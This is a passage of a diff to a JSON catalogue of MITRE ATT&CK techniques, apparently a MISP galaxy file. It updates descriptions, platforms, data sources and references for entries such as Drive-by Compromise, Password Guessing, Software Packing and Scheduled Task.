adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", "meta": { "external_id": "T1189", "kill_chain": [ @@ -16655,8 +14958,7 @@ "mitre_platforms": [ "Linux", "Windows", - "Network", - "macOS" + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1542", @@ -16668,7 +14970,7 @@ "value": "Pre-OS Boot - T1542" }, { - "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Lookout-StealthMango)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.", + "description": "As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\n(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)", "meta": { "external_id": "CEL-22", "kill_chain": [ @@ -16680,15 +14982,15 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1456", - "https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf", + "https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/", "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html" ] }, "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", - "value": "Drive-By Compromise - T1456" + "value": "Drive-by Compromise - T1456" }, { - "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", + "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", "meta": { "external_id": "T1559", "kill_chain": [ @@ -16696,19 +14998,16 @@ ], "mitre_data_sources": [ "Module: Module Load", - "Process: Process Access", "Process: Process Creation", "Script: Script Execution" ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1559", - "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", - "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them." + "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" ] }, "uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", @@ -16798,7 +15097,7 @@ "value": "Junk Data - T1001.001" }, { - "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", + "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", "meta": { "external_id": "CAPEC-117", "kill_chain": [ @@ -17018,7 +15317,7 @@ "value": "Proc Filesystem - T1003.007" }, { - "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS.", + "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", "meta": { "external_id": "T1070.004", "kill_chain": [ @@ -17034,8 +15333,8 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1070/004", - "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://attack.mitre.org/techniques/T1070/004" ] }, "related": [ @@ -17078,7 +15377,7 @@ "value": "Domain Fronting - T1090.004" }, { - "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "meta": { "external_id": "CAPEC-49", "kill_chain": [ @@ -17097,14 +15396,12 @@ "Linux", "macOS", "Google Workspace", - "Containers", - "Network" + "Containers" ], "refs": [ "https://attack.mitre.org/techniques/T1110/001", "https://capec.mitre.org/data/definitions/49.html", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi", + "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "https://www.us-cert.gov/ncas/alerts/TA18-086A" ] }, @@ -17118,7 +15415,7 @@ "value": "Password Guessing - T1110.001" }, { - "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", + "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", "meta": { "external_id": "CAPEC-55", "kill_chain": [ @@ -17133,14 +15430,12 @@ "macOS", "Windows", "Office 365", - "Azure AD", - "Network" + "Azure AD" ], "refs": [ "https://attack.mitre.org/techniques/T1110/002", "https://capec.mitre.org/data/definitions/55.html", - "https://en.wikipedia.org/wiki/Password_cracking", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://en.wikipedia.org/wiki/Password_cracking" ] }, "related": [ @@ -17320,7 +15615,7 @@ "value": "Malicious Link - T1204.001" }, { - "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "meta": { "external_id": "T1205.001", "kill_chain": [ @@ -17437,7 +15732,7 @@ "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf", "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", + "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/", "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices", "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf" ] @@ -17621,7 +15916,6 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "Process: OS API Execution", "Process: Process Creation" ], "mitre_platforms": [ @@ -17644,7 +15938,7 @@ "value": "Local Account - T1087.001" }, { - "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", + "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "meta": { "external_id": "T1204.002", "kill_chain": [ @@ -17660,8 +15954,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1204/002", - "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/" + "https://attack.mitre.org/techniques/T1204/002" ] }, "related": [ @@ -17674,7 +15967,7 @@ "value": "Malicious File - T1204.002" }, { - "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) ", + "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ", "meta": { "external_id": "CAPEC-570", "kill_chain": [ @@ -17685,13 +15978,12 @@ ], "mitre_platforms": [ "macOS", - "Windows", - "Linux" + "Windows" ], "refs": [ + "http://en.wikipedia.org/wiki/Executable_compression", "https://attack.mitre.org/techniques/T1027/002", "https://capec.mitre.org/data/definitions/570.html", - "https://github.com/dhondta/awesome-executable-packing", "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf" ] }, @@ -17739,88 +16031,6 @@ "uuid": "b0c74ef9-c61e-4986-88cb-78da98a355ec", "value": "Malicious Image - T1204.003" }, - { - "description": "Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019) \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.", - "meta": { - "external_id": "T1630.002", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1630/002", - "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html" - ] - }, - "related": [ - { - "dest-uuid": "0d4e3bbb-7af5-4c88-a215-0c0906bc1e8d", - "type": "subtechnique-of" - } - ], - "uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", - "value": "File Deletion - T1630.002" - }, - { - "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ", - "meta": { - "external_id": "T1037.002", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Creation", - "File: File Modification", - "Process: Process Creation" - ], - "mitre_platforms": [ - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1037/002", - "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts", - "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html", - "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", - "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" - ] - }, - "related": [ - { - "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", - "type": "subtechnique-of" - } - ], - "uuid": "43ba2b05-cf72-4b6c-8243-03a4aba41ee0", - "value": "Login Hook - T1037.002" - }, - { - "description": "Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. \n\nUtilities used to perform software packing are called packers. An example packer is FTT. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", - "meta": { - "external_id": "T1406.002", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "iOS", - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1406/002" - ] - }, - "related": [ - { - "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", - "type": "subtechnique-of" - } - ], - "uuid": "51636761-2e35-44bf-9e56-e337adf97174", - "value": "Software Packing - T1406.002" - }, { "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ", "meta": { @@ -17860,8 +16070,6 @@ ], "mitre_data_sources": [ "Logon Session: Logon Session Creation", - "Logon Session: Logon Session Metadata", - "User Account: User Account Authentication", "Web Credential: Web Credential Creation", "Web Credential: Web Credential Usage" ], @@ -17980,7 +16188,7 @@ "value": "Domain Groups - T1069.002" }, { - "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", + "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", "meta": { "external_id": "CAPEC-560", "kill_chain": [ @@ -18026,7 +16234,6 @@ ], "mitre_data_sources": [ "Command: Command Execution", - "Process: OS API Execution", "Process: Process Creation" ], "mitre_platforms": [ @@ -18087,7 +16294,7 @@ "value": "RC Scripts - T1037.004" }, { - "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)", + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).", "meta": { "external_id": "T1053.005", "kill_chain": [ @@ -18110,8 +16317,7 @@ "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", "https://technet.microsoft.com/en-us/sysinternals/bb963902", "https://technet.microsoft.com/library/dd315590.aspx", - "https://twitter.com/leoloobeek/status/939248813465853953", - "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + 